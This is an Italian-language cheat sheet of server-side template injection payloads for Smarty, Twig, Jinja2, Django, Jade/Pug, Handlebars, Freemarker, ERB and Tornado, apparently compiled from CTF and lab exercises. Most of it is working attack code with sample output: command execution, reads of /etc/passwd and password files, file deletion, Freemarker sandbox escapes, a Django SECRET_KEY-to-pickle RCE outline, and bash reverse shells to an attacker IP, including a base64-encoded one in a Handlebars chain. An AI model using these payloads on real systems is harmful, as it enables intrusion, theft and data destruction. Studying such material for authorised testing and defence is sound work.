tags: SSTI_Payloads_per_Motore SSTI SSTI_Payloads

Smarty (PHP)
Rilevare il tipo di Template
#Payload
{'Hello'|upper}
#Output
HELLOEseguire Comandi di Sistema
#Payload
{system("ls")}
#Output
flag.txt index.php smarty-3.1.30 smarty-3.1.30
#Reverse Shell
{system("bash -c 'bash -i >& /dev/tcp/TUO_IP/TUA_PORTA 0>&1'")}Twig (PHP)
#Payload
{{7*'7'}}
#Output
49Jinja2 (Python)
Rilevare il tipo di Template
#Payload
{{7*'7'}}
#Output
7777777Eseguire Comandi di Sistema
Per eseguire comandi di sitema in Jinja2 dobbiamo prima trovare la posizione della classe subprocess.CompletedProcess all’interno della sua memoria, per farlo possiamo prima lanciare il seguente payload che ci listerà tutte le classi:
{{ ''.__class__.__mro__[1].__subclasses__() }}Ora dobbiamo estrarre il numero di posizione di questa classe e lo possiamo fare immettendo l’output precedente in un file .txt e poi eseguire il seguente comando:
cat python.txt | sed 's/^\[//' | sed 's/\]$//' | tr "," "\n" | sed 's/^ *//' | sed 's/ *$//' | grep -n "subprocess"
157:<class 'subprocess.CompletedProcess'>
158:<class 'subprocess.Popen'>Ora la sua posizione (157 in questo caso) la dovremo andare ad inserire nel seguente payload altrimenti non avrà nessun effetto:
#Payload per eseguire comandi di sistema singoli
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}
#Output
flag.txt app.js jade.js node
#Payload per eseguire comandi di sistema con più di un argomento
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['cat', 'flag.txt'])}}
#Output
THM{1f8c3b32ad3217e84c145398bae00876}Nota
L'output di questi comandi inizierà sempre con b'Django (Python)
{% debug %}
{{settings.SECRET_KEY}}
Ottenere una reverse shell o un RCE in Django è molto più complesso rispetto agli altri template, per saperne di più visita https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/django.html.
Il caso classico: se l’app usa il PickleSerializer con le sessioni signed-cookie, Django de-firma e fa l’unpickle del cookie di sessione prima di eseguire il codice della view; quindi possedere la chiave di firma (la SECRET_KEY) basta per una RCE immediata. Il meccanismo: conosci la SECRET_KEY → forgi un cookie di sessione che contiene un oggetto pickle malevolo (un __reduce__ che chiama os.system) → il server lo deserializza e il comando parte. Esistono tool pubblici che automatizzano esattamente questo (django-rce-exploit e simili). https://sc.scomurr.com/ssti-server-side-template-injection-with-information-disclosure-via-user-supplied-objects/
Jade/Pug (Node.js)
A differenza di Twig e Jinja Jade/Pug ti permette di eseguire direttamente codice javascript.
Rilevare il tipo di Template
//Payload
#{7*7}
//Output
49
Eseguire Comandi di Sistema
//payload per vedere informazioni sull'utente
#{root.process.mainModule.require('child_process').spawnSync('id').stdout}
//Output
uid=0(root) gid=0(root) groups=0(root)
//Payload per eseguire comandi di sistema singoli
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
//output
flag.txt app.js jade.js node
//Payload per eseguire comandi di sistema con più di un argomento
#{root.process.mainModule.require('child_process').spawnSync('cat', ['flag.txt']).stdout}
//Output
THM{1f8c3b32ad3217e84c145398bae00876}Handlebars (Node.js)
Identificazione
# Se l'output è `49`, la vulnerabilità è confermata.
{{7*7}}
# Utile per vedere se viene restituito `[object Object]` o proprietà interne.
{{this}}
RCE
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}Una buona pratica è quella di encodearla in URL in modo da non avere problemi di parsing.
Oppure:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "INIEZIONE_JS"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
RCE: Comando Singolo (Output visibile)
Per verificare l’esecuzione remota e vedere l’output nella pagina web.
-
Funzione:
execSync(blocca l’esecuzione e attende il risultato). -
Metodo:
.toString()per convertire il buffer in testo leggibile.
Da inserire al posto di INIEZIONE_JS:
return process.mainModule.require('child_process').execSync('id').toString();
4. RCE: Comando Complesso / Lettura File
Per eseguire comandi con spazi o argomenti multipli (es. leggere file sensibili).
- Nota: Se il file contiene caratteri che rompono l’HTML, potresti vederlo formattato male, ma
catfunziona regolarmente dentro le virgolette.
Da inserire al posto di INIEZIONE_JS:
return process.mainModule.require('child_process').execSync('cat /etc/passwd').toString();
Reverse Shell
Converti la reverse shell in base64:
echo -n "bash -c 'bash -i >& /dev/tcp/TUO_IP/4444 0>&1'" | base64Inseriscila in questo payload:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "process.mainModule.require('child_process').exec(Buffer.from('INCOLLA_QUI_BASE64', 'base64').toString())"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Freemarker
Rilevamento
#{ 7 * 7 } ----> OUTPUT 49
${[“one”, “two”, “three”][1]} ------> OUTPUT two
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion} ----> FreeMarker version: 2.3.29
<#assign test = .version>
TEST FOR SSTI: ${3*3} -----> TEST FOR SSTI: 9
RCE
1)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }2)
${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}3) Sandbox Evasion
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /etc/passwd")}
Alle volte per evadere correttamente l’ambiente di sanbox bisogna modificare la classloader, per esempio in questo errore ce lo dice esplicitamente:

Ma nella sezione di default del template c’era scritto il tipo di classloader richiesto:

Quindi ci basta modificare il payload trasformando article in product per ottenere una RCE:
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat my_password.txt")}
Oppure puoi usare anche questo payload:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}Ruby
<%= 7*7 %> ----> 49RCE
<%= system("whoami") %>
<%= system("rm prova.txt") %>
Tornado
Prova a chiudere il parametro che ritieni vulnerabile con la chiusura della sua espressione come se fosse l’' per le SQL Injection, per esempio con il template Tornado puoi fare nel seguente modo:
}}{%25+import+os+%25}{{os.system('ls')Dove prendere il payload
| Motore | Runtime | Tipo | Obiettivo realistico | Dove prendere il payload |
|---|---|---|---|---|
| Jinja2 | Python (Flask) | Ricco | RCE | PayloadsAllTheThings / HackTricks |
| Twig | PHP | Ricco | RCE | PayloadsAllTheThings / HackTricks |
| ERB | Ruby | Ricco | RCE (system, backtick) | PayloadsAllTheThings |
| Tornado | Python | Ricco | RCE (import os) | PayloadsAllTheThings |
| Freemarker | Java | Ricco (sandbox bypassabile) | RCE / sandbox escape | HackTricks |
| Velocity | Java | Ricco | RCE | HackTricks |
| Mako / Smarty | Python / PHP | Ricco | RCE | PayloadsAllTheThings |
| Handlebars | Node | Ricco (serve la catena #with) | RCE | PayloadsAllTheThings / gist Zombiehelp54 |
| Django (DTL) | Python | Ristretto | Leak (SECRET_KEY, settings) | doc ufficiale Django |